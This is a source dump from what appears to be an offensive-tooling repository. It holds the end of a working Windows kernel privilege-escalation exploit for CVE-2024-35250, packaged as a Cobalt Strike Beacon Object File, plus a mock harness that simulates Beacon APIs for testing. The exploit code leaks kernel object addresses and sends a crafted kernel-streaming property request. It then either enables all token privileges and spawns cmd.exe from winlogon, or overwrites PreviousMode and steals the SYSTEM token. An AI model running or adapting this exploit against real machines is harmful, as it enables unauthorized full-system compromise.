hKSCATEGORY_DRM_DESCRAMBLE,//KSCATEGORY_DRM_DESCRAMBLE, 328 | }; 329 | 330 | HMODULE hKsProxy = LoadLibraryExW(L"ksproxy.ax", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32); 331 | if (!hKsProxy) { 332 | print_error("Loadlibrary ksproxy.ax failed: ", GetLastError()); 333 | return; 334 | } 335 | typedef HRESULT(WINAPI* MyKsOpenDefaultDevice)(REFGUID Category, ACCESS_MASK Access, PHANDLE DeviceHandle); 336 | MyKsOpenDefaultDevice _KsOpenDefaultDevice = (MyKsOpenDefaultDevice)GetProcAddress(hKsProxy, "KsOpenDefaultDevice"); 337 | if (!_KsOpenDefaultDevice) { 338 | print_error("GetProcAddress ksproxy.ax$_KsOpenDefaultDevice failed: ", GetLastError()); 339 | return; 340 | } 341 | 342 | 343 | // 344 | // Get a KS object device with ksproxy.ax API 345 | // 346 | for (int i = 0; i < sizeof(categories) / sizeof(categories[0]); i++) 347 | { 348 | hr = _KsOpenDefaultDevice(categories[i], GENERIC_READ | GENERIC_WRITE, &hDrmDevice); 349 | 350 | if (hr != NOERROR) { 351 | print_info("[-] KsOpenDefaultDevice at index %d failed with error = %x", i, hr); 352 | return; 353 | } 354 | 355 | print_info("[+] DRM device handle value = %p", hDrmDevice); 356 | } 357 | 358 | #ifdef _SE_DEBUG_PRIVILEGE 359 | 360 | HANDLE hToken; 361 | uint64_t ktoken_obj = 0; 362 | res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); 363 | 364 | if (!res) 365 | { 366 | print_info("[-] Failed to open current process token"); 367 | return res; 368 | } 369 | 370 | res = GetObjPtr(&ktoken_obj, GetCurrentProcessId(), hToken); 371 | if (res != NULL) 372 | { 373 | return -1; 374 | } 375 | 376 | print_info("[+] Current process TOKEN address = %llx", ktoken_obj); 377 | #elif defined _PREVIOUS_MODE 378 | 379 | uint64_t Sysproc = 0; 380 | uint64_t Curproc = 0; 381 | uint64_t Curthread = 0; 382 | 383 | HANDLE hCurproc = 0; 384 | HANDLE hThread = 0; 385 | // 386 | // Leak System _EPROCESS kernel address 387 | // 388 | Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4); 389 | if (Ret != NULL) 390 | { 391 | return; 392 | } 393 | print_info("[+] System EPROCESS address: %llx", Sysproc); 394 | 395 | // 396 | // Leak Current _KTHREAD kernel address 397 | // 398 | hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId()); 399 | if (hThread != NULL) 400 | { 401 | Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread); 402 | if (Ret != NULL) 403 | { 404 | return; 405 | } 406 | print_info("[+] Current KTHREAD address: %llx", Curthread); 407 | } 408 | 409 | // 410 | // Leak Current _EPROCESS kernel address 411 | // 412 | hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId()); 413 | if (hCurproc != NULL) 414 | { 415 | Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc); 416 | if (Ret != NULL) 417 | { 418 | return; 419 | } 420 | print_info("[+] Current EPROCESS address: %llx", Curproc); 421 | } 422 | #endif 423 | 424 | // 425 | // Initialize input buffer 426 | // 427 | 428 | GUID _KSPROPSETID_DrmAudioStream; 429 | IIDFromString(L"{2F2C8DDD-4198-4fac-BA29-61BB05B7DE06}", &_KSPROPSETID_DrmAudioStream); 430 | 431 | pInBufProperty->Set = _KSPROPSETID_DrmAudioStream; 432 | pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET; 433 | pInBufProperty->Id = 0x0; 434 | 435 | // 436 | // Initialize output buffer 437 | // 438 | pSerialHdr->PropertySet = _KSPROPSETID_DrmAudioStream; 439 | pSerialHdr->Count = 0x1; 440 | 441 | pSerial->PropertyLength = sizeof(EXPLOIT_DATA1); 442 | pSerial->Id = 0x0; // Should be null 443 | pSerial->PropTypeSet.Set = _KSPROPSETID_DrmAudioStream; 444 | pSerial->PropTypeSet.Flags = 0x0; // Should be null 445 | pSerial->PropTypeSet.Id = 0x45; // Irrelevant value 446 | 447 | // 448 | // Intialize fake property data 449 | // 450 | uint64_t ntoskrnl_user_base = 0; 451 | HMODULE outModule = 0; 452 | UINT_PTR ntoskrnlKernelBase = GetKernelModuleAddress("ntoskrnl.exe"); 453 | print_info("[+] ntoskrnl.exe base address = %llx", ntoskrnlKernelBase); 454 | pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), ULongLongToPtr64(0x10000000)); 455 | 456 | #ifdef _SE_DEBUG_PRIVILEGE 457 | // 458 | // FakeBitmap initialization for the overwriting TOKEN.Privileges fields technique 459 | // 460 | pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4; // It should be (0x20 * n) to overwrite (n/2 * 0x8) bytes at arbitrary address 461 | pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621); // Token present/enabled bits address 462 | pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlSetAllBits")); 463 | print_info("[!] RtlSetAllBits kernel address = %p", pInBufPropertyData->ptr_ArbitraryFunCall); 464 | #elif defined _PREVIOUS_MODE 465 | // 466 | // FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique 467 | // 468 | pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20; 469 | pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621); // KTHREAD.PreviousMode field address 470 | pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlClearAllBits")); // This gadget will zeroing KTHREAD.PreviousMode field 471 | print_info("[!] RtlClearAllBits kernel address = %p", pInBufPropertyData->ptr_ArbitraryFunCall); 472 | #endif 473 | 474 | // 475 | // Send property request to trigger the vulnerability 476 | // 477 | res = DeviceIoControl(hDrmDevice, IOCTL_KS_PROPERTY, pInBufProperty, sizeof(InBuffer), pSerialHdr, sizeof(UnserializePropertySetRequest), NULL, NULL); 478 | 479 | if (!res) 480 | { 481 | print_info("[-] DeviceIoControl failed"); // It's ok to see this message if exploit succeded 482 | } 483 | 484 | #ifdef _SE_DEBUG_PRIVILEGE 485 | 486 | HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"winlogon.exe")); 487 | 488 | if (!hWinLogon) { 489 | print_info("OpenProcess failed with error = 0x%lx", GetLastError()); 490 | return FALSE; 491 | } 492 | 493 | CreateProcessFromHandle(hWinLogon, (LPSTR)"cmd.exe"); 494 | 495 | return TRUE; 496 | #elif defined _PREVIOUS_MODE 497 | print_info("[!] Leveraging DKOM to achieve LPE"); 498 | print_info("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token"); 499 | 500 | uint8_t mode = UserMode; // We set UserMode in restoring thread state phase to avoid BSOD in further process creations 501 | 502 | Write64(ULongLongToPtr64(Curproc + EPROCESS_TOKEN_WIN_11_22H2_22621), ULongLongToPtr64(Sysproc + EPROCESS_TOKEN_WIN_11_22H2_22621), /* Token size */ 0x8); 503 | 504 | // 505 | // Restoring KTHREAD.PreviousMode phase 506 | // 507 | Write64(ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621), &mode, sizeof(mode)); 508 | 509 | // 510 | // Spawn the shell with "nt authority\system" 511 | // 512 | VirtualFree(pOutBufPropertyData->FakeBitmap, 0, MEM_RELEASE); 513 | 514 | CloseHandle(hCurproc); 515 | CloseHandle(hDrmDevice); 516 | CloseHandle(hThread); 517 | CloseHandle(hKsProxy); 518 | 519 | #endif 520 | 521 | return; 522 | 523 | } 524 | 525 | /* 526 | void sleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall) { 527 | } 528 | */ 529 | } 530 | 531 | // Define a main function for the bebug build 532 | #if defined(_DEBUG) && !defined(_GTEST) 533 | 534 | int main(int argc, char* argv[]) { 535 | // Run BOF's entrypoint 536 | // To pack arguments for the bof use e.g.: bof::runMocked(go, 6502, 42, "foobar"); 537 | bof::runMocked<>(go); 538 | 539 | /* To test a sleepmask BOF, the following mockup executors can be used 540 | // Mock up Beacon and run the sleep mask once 541 | bof::runMockedSleepMask(sleep_mask); 542 | 543 | // Mock up Beacon with the specific .stage C2 profile 544 | bof::runMockedSleepMask(sleep_mask, 545 | { 546 | .allocator = bof::profile::Allocator::VirtualAlloc, 547 | .obfuscate = bof::profile::Obfuscate::False, 548 | .useRWX = bof::profile::UseRWX::True, 549 | .module = "", 550 | }, 551 | { 552 | .sleepTimeMs = 5000, 553 | .runForever = false, 554 | } 555 | ); 556 | */ 557 | 558 | return 0; 559 | } 560 | 561 | // Define unit tests 562 | #elif defined(_GTEST) 563 | #include 564 | 565 | TEST(BofTest, Test1) { 566 | std::vector got = 567 | bof::runMocked<>(go); 568 | std::vector expected = { 569 | {CALLBACK_OUTPUT, "System Directory: C:\\Windows\\system32"} 570 | }; 571 | // It is possible to compare the OutputEntry vectors, like directly 572 | // ASSERT_EQ(expected, got); 573 | // However, in this case, we want to compare the output, ignoring the case. 574 | ASSERT_EQ(expected.size(), got.size()); 575 | ASSERT_STRCASEEQ(expected[0].output.c_str(), got[0].output.c_str()); 576 | } 577 | #endif 578 | -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/base/mock.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | extern "C" { 13 | #ifdef _DEBUG 14 | #undef DECLSPEC_IMPORT 15 | #define DECLSPEC_IMPORT 16 | #endif 17 | #include "..\beacon.h" 18 | } 19 | 20 | #include "mock.h" 21 | 22 | namespace bof { 23 | namespace utils { 24 | template 25 | T swapEndianness(T value) { 26 | char *ptr = reinterpret_cast(&value); 27 | std::reverse(ptr, ptr + sizeof(T)); 28 | return value; 29 | } 30 | 31 | template 32 | std::vector toBytes(T input) { 33 | char *ptr = reinterpret_cast(&input); 34 | return std::vector(ptr, ptr + sizeof(T)); 35 | } 36 | 37 | const char* typeToStr(int callbackType) { 38 | switch (callbackType) { 39 | case CALLBACK_OUTPUT: return "CALLBACK_OUTPUT"; 40 | case CALLBACK_OUTPUT_OEM: return "CALLBACK_OUTPUT_OEM"; 41 | case CALLBACK_ERROR: return "CALLBACK_ERROR"; 42 | case CALLBACK_OUTPUT_UTF8: return "CALLBACK_OUTPUT_UTF8"; 43 | default: return "CALLBACK_UNKOWN"; 44 | } 45 | } 46 | } 47 | 48 | namespace mock { 49 | static BEACON_INFO beaconInfo = { 0 }; 50 | 51 | char *BofData::get() { 52 | return size() > 0 ? reinterpret_cast(&data[0]) : nullptr; 53 | } 54 | 55 | int BofData::size() { 56 | return data.size(); 57 | } 58 | 59 | void BofData::addData(const char *buf, std::size_t len) { 60 | std::vector bytes; 61 | bytes.assign(buf, buf + len); 62 | insert(static_cast(len)); 63 | append(bytes); 64 | } 65 | 66 | void BofData::append(const std::vector &data) { 67 | this->data.insert(std::end(this->data), std::begin(data), std::end(data)); 68 | } 69 | 70 | void BofData::insert(int v) { 71 | append(bof::utils::toBytes(bof::utils::swapEndianness(v))); 72 | } 73 | 74 | void BofData::insert(short v) { 75 | append(bof::utils::toBytes(bof::utils::swapEndianness(v))); 76 | } 77 | 78 | void BofData::insert(unsigned int v) { 79 | insert(static_cast(v)); 80 | } 81 | 82 | void BofData::insert(unsigned short v) { 83 | insert(static_cast(v)); 84 | } 85 | 86 | void BofData::insert(const char *v) { 87 | addData(v, std::strlen(v) + 1); 88 | } 89 | 90 | void BofData::insert(const wchar_t *v) { 91 | addData((const char *)v, (std::wcslen(v) + 1) * sizeof(wchar_t)); 92 | } 93 | 94 | void BofData::insert(const std::vector& data) { 95 | pack(data.size()); 96 | append(data); 97 | } 98 | 99 | void setBeaconInfo(BEACON_INFO& info) { 100 | std::memcpy(&bof::mock::beaconInfo, &info, sizeof(BEACON_INFO)); 101 | } 102 | 103 | void setSection(PALLOCATED_MEMORY_SECTION info, PVOID baseAddress, SIZE_T size, DWORD finalProtection, DWORD allocationType, ALLOCATED_MEMORY_LABEL label) { 104 | info->BaseAddress = baseAddress; 105 | info->VirtualSize = size; 106 | info->PreviousProtect = finalProtection; 107 | info->CurrentProtect = finalProtection; 108 | info->MaskSection = TRUE; 109 | info->Label = label; 110 | } 111 | 112 | ALLOCATED_MEMORY_REGION allocateBeaconMemory(const bof::profile::Stage& stage, size_t size, DWORD* initialPermission) { 113 | ALLOCATED_MEMORY_REGION info; 114 | std::memset(&info, 0, sizeof(info)); 115 | 116 | /* Allocate the base memory for Beacon. The following .stage options affect how the memory is allocated: 117 | * - .stage.allocator: Set how Beacon's Reflective Loader allocates memory for the agent. Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc. 118 | * - .stage.module_x64/x86: Ask the ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with the .stage.allocator. 119 | */ 120 | *initialPermission = stage.useRWX == bof::profile::UseRWX::True ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE; 121 | if (stage.module.empty()) { 122 | HANDLE hHeap = INVALID_HANDLE_VALUE; 123 | HANDLE hFile = INVALID_HANDLE_VALUE; 124 | 125 | switch (stage.allocator) { 126 | case bof::profile::Allocator::HeapAlloc: { 127 | // For heap allocator we don't honor the .stage.userwx flag 128 | *initialPermission = PAGE_EXECUTE_READWRITE; 129 | hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); 130 | assert(hHeap != NULL && "Could not create the heap"); 131 | info.AllocationBase = HeapAlloc(hHeap, 0, size); 132 | info.Type = MEM_PRIVATE; 133 | info.CleanupInformation.AllocationMethod = METHOD_HEAPALLOC; 134 | info.CleanupInformation.AdditionalCleanupInformation.HeapAllocInfo.HeapHandle = hHeap; 135 | info.CleanupInformation.AdditionalCleanupInformation.HeapAllocInfo.DestroyHeap = TRUE; 136 | break; 137 | } 138 | case bof::profile::Allocator::MapViewOfFile: { 139 | hFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, size, NULL); 140 | assert(hFile != NULL && "Could not create file mapping"); 141 | info.AllocationBase = MapViewOfFile(hFile, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0); 142 | info.Type = MEM_MAPPED; 143 | info.CleanupInformation.AllocationMethod = METHOD_NTMAPVIEW; 144 | CloseHandle(hFile); 145 | 146 | DWORD old = 0; 147 | if (!VirtualProtect(info.AllocationBase, size, *initialPermission, &old)) { 148 | assert(false && "Could not set the initial memory permission for the Beacon memory"); 149 | } 150 | break; 151 | } 152 | case bof::profile::Allocator::VirtualAlloc: { 153 | info.AllocationBase = VirtualAlloc(NULL, size, MEM_RESERVE | MEM_COMMIT, *initialPermission); 154 | info.Type = MEM_PRIVATE; 155 | info.CleanupInformation.AllocationMethod = METHOD_VIRTUALALLOC; 156 | break; 157 | } 158 | } 159 | } 160 | else { 161 | // For simplicity we use module base here instead of resolving a function 162 | info.AllocationBase = (PVOID)LoadLibraryExA(stage.module.c_str(), NULL, DONT_RESOLVE_DLL_REFERENCES); 163 | info.Type = MEM_IMAGE; 164 | info.CleanupInformation.AllocationMethod = METHOD_MODULESTOMP; 165 | 166 | DWORD old = 0; 167 | if (!VirtualProtect(info.AllocationBase, size, *initialPermission, &old)) { 168 | assert(false && "Could not set the initial memory permission for the Beacon memory"); 169 | } 170 | } 171 | assert(info.AllocationBase != NULL && "Could not allocate the base memory for Beacon"); 172 | 173 | // Set the necessary fields for the Beacon memory 174 | info.Purpose = PURPOSE_BEACON_MEMORY; 175 | info.RegionSize = size; 176 | info.CleanupInformation.Cleanup = TRUE; 177 | 178 | return info; 179 | } 180 | 181 | BEACON_INFO setupMockBeacon(const bof::profile::Stage& stage) { 182 | const std::vector> sections{ 183 | { LABEL_PEHEADER, "PE" }, 184 | { LABEL_TEXT, ".text" }, 185 | { LABEL_RDATA, ".rdata" }, 186 | { LABEL_DATA, ".data" }, 187 | #ifdef _M_X64 188 | { LABEL_PDATA, ".pdata" }, 189 | #endif 190 | { LABEL_RELOC, ".reloc" }, 191 | }; 192 | const size_t sectionSize = 0x1000; 193 | 194 | BEACON_INFO info = { 0 }; 195 | info.version = bof::CsVersion; 196 | 197 | // Set the static mask key 198 | for (size_t i = 0; i < MASK_SIZE; ++i) { 199 | info.mask[i] = 0xAB; 200 | } 201 | 202 | // Allocate the memory for Beacon 203 | DWORD initialProtection = 0; 204 | ALLOCATED_MEMORY_REGION beaconMemory = allocateBeaconMemory(stage, sections.size() * sectionSize, &initialProtection); 205 | info.allocatedMemory.AllocatedMemoryRegions[0] = beaconMemory; 206 | info.beacon_ptr = stage.obfuscate == bof::profile::Obfuscate::False 207 | ? reinterpret_cast(beaconMemory.AllocationBase) 208 | : reinterpret_cast(beaconMemory.AllocationBase) - 0x1000; 209 | 210 | // Build the section list 211 | PALLOCATED_MEMORY_SECTION nextSection = info.allocatedMemory.AllocatedMemoryRegions[0].Sections; 212 | char* sectionBase = reinterpret_cast(beaconMemory.AllocationBase); 213 | for (auto [section, name] : sections) { 214 | // Skip the PE header if .stage.obfuscate = true 215 | if (stage.obfuscate == bof::profile::Obfuscate::True && section == LABEL_PEHEADER) { 216 | continue; 217 | } 218 | 219 | // Fill the memory 220 | for (size_t i = 0; i < sectionSize; ++i) { 221 | sectionBase[i] = name[i % name.length()]; 222 | } 223 | 224 | DWORD finalProtection = initialProtection; 225 | 226 | // Fix the .code section permission if the allocator is not heap alloc and .stage.userwx is false 227 | if (stage.allocator != bof::profile::Allocator::HeapAlloc || !stage.module.empty()) { 228 | if (section == LABEL_TEXT && stage.useRWX == bof::profile::UseRWX::False) { 229 | finalProtection = PAGE_EXECUTE_READ; 230 | 231 | // Fix the permissions 232 | DWORD old = 0; 233 | if (!VirtualProtect(sectionBase, sectionSize, finalProtection, &old)) { 234 | assert(false && "Could not set the final memory protection"); 235 | } 236 | } 237 | } 238 | 239 | // Set the section memory information 240 | setSection(nextSection, sectionBase, sectionSize, finalProtection, beaconMemory.Type, section); 241 | 242 | // Next section 243 | ++nextSection; 244 | sectionBase += sectionSize; 245 | } 246 | 247 | // Add few mock heap records 248 | const size_t numberOfHeapRecords = 2; 249 | info.heap_records = new HEAP_RECORD[numberOfHeapRecords + 1]; 250 | assert(info.heap_records != nullptr && "Could not the allocate heap records array"); 251 | for (size_t i = 0; i < numberOfHeapRecords; ++i) { 252 | info.heap_records[i].ptr = new char[512]; 253 | info.heap_records[i].size = 512; 254 | assert(info.heap_records[i].ptr != nullptr && "Could not allocate a heap record"); 255 | } 256 | info.heap_records[numberOfHeapRecords].ptr = NULL; 257 | info.heap_records[numberOfHeapRecords].size = 0; 258 | 259 | return info; 260 | } 261 | 262 | void resolveMockUpSleepmaskLocation(BEACON_INFO& info) { 263 | // Get the base address of the debug exe 264 | char* exeBase = (char*)GetModuleHandleA(NULL); 265 | // Find the start of the section headers 266 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)exeBase; 267 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(exeBase + dosHeader->e_lfanew); 268 | PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)(reinterpret_cast(&ntHeader->OptionalHeader) + ntHeader->FileHeader.SizeOfOptionalHeader); 269 | // Find the .text section which will be our "mock" sleepmask code 270 | DWORD numberOfSections = ntHeader->FileHeader.NumberOfSections; 271 | while (numberOfSections--) { 272 | if (strcmp(reinterpret_cast(sectionHeader->Name), ".text") == 0) { 273 | info.sleep_mask_ptr = exeBase + sectionHeader->VirtualAddress; 274 | info.sleep_mask_text_size = sectionHeader->Misc.VirtualSize; 275 | // In theory, the total size would contains also the data part, but we cannot guarantee the section order. 276 | info.sleep_mask_total_size = sectionHeader->Misc.VirtualSize; 277 | return; 278 | } 279 | ++sectionHeader; 280 | } 281 | assert(false && "Could not find the text section of the debug image"); 282 | } 283 | } 284 | 285 | namespace output { 286 | std::vector outputs; 287 | 288 | void addEntry(int type, const char* data, int len) { 289 | OutputEntry output = { 290 | type, 291 | std::string(data, data + len) 292 | }; 293 | outputs.push_back(output); 294 | } 295 | 296 | const std::vector& getOutputs() { 297 | return outputs; 298 | } 299 | 300 | void reset() { 301 | outputs.clear(); 302 | } 303 | 304 | void PrintTo(const OutputEntry& o, std::ostream* os) { 305 | *os << "{ callbackType: " << bof::utils::typeToStr(o.callbackType) << ", output: " << o.output << " }"; 306 | } 307 | } 308 | 309 | namespace valuestore { 310 | std::map values; 311 | 312 | void reset() { 313 | values.clear(); 314 | } 315 | } 316 | 317 | namespace bud { 318 | char custom[BEACON_USER_DATA_CUSTOM_SIZE] = { 0 }; 319 | 320 | void reset() { 321 | std::memset(custom, 0, BEACON_USER_DATA_CUSTOM_SIZE); 322 | } 323 | 324 | void set(const char* data) { 325 | if (data) { 326 | std::memcpy(custom, data, BEACON_USER_DATA_CUSTOM_SIZE); 327 | } 328 | } 329 | } 330 | 331 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc, PSLEEPMASK_INFO sleepMaskInfo, PFUNCTION_CALL functionCall) { 332 | // Reset the global output container 333 | bof::output::reset(); 334 | // Execute the entrypoint 335 | sleepMaskFunc(sleepMaskInfo, functionCall); 336 | // Return the stored outputs 337 | return bof::output::getOutputs(); 338 | } 339 | 340 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc, const bof::profile::Stage& stage, const bof::mock::MockSleepMaskConfig& config) { 341 | SLEEPMASK_INFO sleepmaskInfo = { 342 | .version = bof::CsVersion, 343 | .reason = DEFAULT_SLEEP, 344 | .sleep_time = config.sleepTimeMs, 345 | .beacon_info = bof::mock::setupMockBeacon(stage), 346 | }; 347 | bof::mock::resolveMockUpSleepmaskLocation(sleepmaskInfo.beacon_info); 348 | 349 | std::vector output; 350 | do { 351 | output = runMockedSleepMask(sleepMaskFunc, &sleepmaskInfo, NULL); 352 | } while (config.runForever); 353 | 354 | return output; 355 | } 356 | 357 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc, const bof::profile::Stage& stage) { 358 | // Set the default config for the mock sleepmask runner 359 | const bof::mock::MockSleepMaskConfig config = { 360 | .sleepTimeMs = 5000, 361 | .runForever = false, 362 | }; 363 | return runMockedSleepMask(sleepMaskFunc, stage, config); 364 | } 365 | 366 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc) { 367 | return runMockedSleepMask(sleepMaskFunc, bof::profile::defaultStage); 368 | } 369 | 370 | std::vector runMockedBeaconGate(SLEEPMASK_FUNC sleepMaskFunc, PFUNCTION_CALL functionCall, const bof::profile::Stage& stage) { 371 | SLEEPMASK_INFO sleepmaskInfo = { 372 | .version = bof::CsVersion, 373 | .reason = BEACON_GATE, 374 | .sleep_time = 0, 375 | .beacon_info = bof::mock::setupMockBeacon(stage), 376 | }; 377 | bof::mock::resolveMockUpSleepmaskLocation(sleepmaskInfo.beacon_info); 378 | return runMockedSleepMask(sleepMaskFunc, &sleepmaskInfo, functionCall); 379 | } 380 | 381 | std::vector runMockedBeaconGate(SLEEPMASK_FUNC sleepMaskFunc, PFUNCTION_CALL functionCall) { 382 | return runMockedBeaconGate(sleepMaskFunc, functionCall, bof::profile::defaultStage); 383 | } 384 | } 385 | 386 | #include "mock_syscalls.cpp" 387 | 388 | extern "C" 389 | { 390 | // Print API 391 | void BeaconPrintf(int type, const char *fmt, ...) { 392 | printf("[Output Callback: %s (0x%X)]\n", bof::utils::typeToStr(type), type); 393 | va_list args; 394 | va_start(args, fmt); 395 | int size = vsnprintf(nullptr, 0, fmt, args); 396 | if (size >= 0) { 397 | char* buffer = new char[size + 1]; 398 | vsnprintf(buffer, size + 1, fmt, args); 399 | bof::output::addEntry(type, buffer, size); 400 | delete[] buffer; 401 | } 402 | vprintf(fmt, args); 403 | printf("\n"); 404 | va_end(args); 405 | } 406 | 407 | void BeaconOutput(int type, const char *data, int len) { 408 | bof::output::addEntry(type, data, len); 409 | printf("[Output Callback: %s (0x%X)]\n%.*s", bof::utils::typeToStr(type), type, len, data); 410 | } 411 | 412 | // Parser API 413 | void BeaconDataParse(datap *parser, char *buffer, int size) { 414 | parser->buffer = buffer; 415 | parser->original = buffer; 416 | parser->size = size; 417 | parser->length = size; 418 | } 419 | 420 | int BeaconDataInt(datap *parser) { 421 | int value = *(int *)(parser->buffer); 422 | parser->buffer += sizeof(int); 423 | parser->length -= sizeof(int); 424 | return bof::utils::swapEndianness(value); 425 | } 426 | 427 | short BeaconDataShort(datap *parser) { 428 | short value = *(short *)(parser->buffer); 429 | parser->buffer += sizeof(short); 430 | parser->length -= sizeof(short); 431 | return bof::utils::swapEndianness(value); 432 | } 433 | 434 | int BeaconDataLength(datap *parser) { 435 | return parser->length; 436 | } 437 | 438 | char *BeaconDataExtract(datap *parser, int *size) { 439 | int size_im = BeaconDataInt(parser); 440 | char *buff = parser->buffer; 441 | parser->buffer += size_im; 442 | if (size) 443 | { 444 | *size = size_im; 445 | } 446 | return buff; 447 | } 448 | 449 | // Format API 450 | void BeaconFormatAlloc(formatp *format, int maxsz) { 451 | format->original = new char[maxsz]; 452 | format->buffer = format->original; 453 | format->length = maxsz; 454 | format->size = maxsz; 455 | } 456 | 457 | void BeaconFormatReset(formatp *format) { 458 | format->buffer = format->original; 459 | format->length = format->size; 460 | } 461 | 462 | void BeaconFormatFree(formatp *format) { 463 | delete[] format->original; 464 | } 465 | 466 | void BeaconFormatAppend(formatp *format, const char *text, int len) { 467 | memcpy(format->buffer, text, len); 468 | format->buffer += len; 469 | format->length -= len; 470 | } 471 | 472 | void BeaconFormatPrintf(formatp *format, const char *fmt, ...) { 473 | va_list args; 474 | va_start(args, fmt); 475 | int len = vsprintf_s(format->buffer, format->length, fmt, args); 476 | format->buffer += len; 477 | format->length -= len; 478 | va_end(args); 479 | } 480 | 481 | char *BeaconFormatToString(formatp *format, int *size) { 482 | if (size) 483 | { 484 | *size = format->size - format->length; 485 | } 486 | return format->original; 487 | } 488 | 489 | void BeaconFormatInt(formatp *format, int value) { 490 | value = bof::utils::swapEndianness(value); 491 | BeaconFormatAppend(format, (char *)&value, 4); 492 | } 493 | 494 | // Internal API 495 | BOOL BeaconUseToken(HANDLE token) { 496 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 497 | return TRUE; 498 | } 499 | 500 | void BeaconRevertToken() { 501 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 502 | } 503 | 504 | BOOL BeaconIsAdmin() { 505 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 506 | return FALSE; 507 | } 508 | 509 | void BeaconGetSpawnTo(BOOL x86, char *buffer, int length) { 510 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 511 | } 512 | 513 | void BeaconInjectProcess(HANDLE hProc, int pid, char *payload, 514 | int p_len, int p_offset, char *arg, 515 | int a_len) 516 | { 517 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 518 | } 519 | 520 | void BeaconInjectTemporaryProcess(PROCESS_INFORMATION *pInfo, 521 | char *payload, int p_len, 522 | int p_offset, char *arg, 523 | int a_len) 524 | { 525 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 526 | } 527 | 528 | void BeaconCleanupProcess(PROCESS_INFORMATION *pInfo) { 529 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 530 | } 531 | 532 | BOOL toWideChar(char *src, wchar_t *dst, int max) { 533 | std::string str = src; 534 | std::wstring wstr(str.begin(), str.end()); 535 | 536 | size_t bytes = min(wstr.length() * sizeof(wchar_t), max); 537 | std::memcpy(dst, wstr.c_str(), bytes); 538 | return TRUE; 539 | } 540 | 541 | BOOL BeaconInformation(BEACON_INFO* info) { 542 | std::memcpy(&bof::mock::beaconInfo, info, sizeof(BEACON_INFO)); 543 | return TRUE; 544 | } 545 | 546 | BOOL BeaconAddValue(const char* key, void* ptr) { 547 | auto item = bof::valuestore::values.find(std::string(key)); 548 | if (ptr && item == bof::valuestore::values.end()) { 549 | bof::valuestore::values[std::string(key)] = ptr; 550 | return TRUE; 551 | } 552 | return FALSE; 553 | } 554 | 555 | void* BeaconGetValue(const char* key) { 556 | auto item = bof::valuestore::values.find(std::string(key)); 557 | if (item != bof::valuestore::values.end()) { 558 | return item->second; 559 | } 560 | return NULL; 561 | } 562 | 563 | BOOL BeaconRemoveValue(const char* key) { 564 | auto item = bof::valuestore::values.find(std::string(key)); 565 | if (item != bof::valuestore::values.end()) { 566 | bof::valuestore::values.erase(item); 567 | return TRUE; 568 | } 569 | return FALSE; 570 | } 571 | 572 | PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index) { 573 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 574 | return NULL; 575 | } 576 | 577 | void BeaconDataStoreProtectItem(size_t index) { 578 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 579 | } 580 | 581 | void BeaconDataStoreUnprotectItem(size_t index) { 582 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 583 | } 584 | 585 | size_t BeaconDataStoreMaxEntries() { 586 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 587 | return 0; 588 | } 589 | 590 | char* BeaconGetCustomUserData() { 591 | return bof::bud::custom; 592 | } 593 | 594 | BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized) { 595 | if (info) { 596 | bof::mock::syscall::ResolveSyscalls(info->syscalls); 597 | 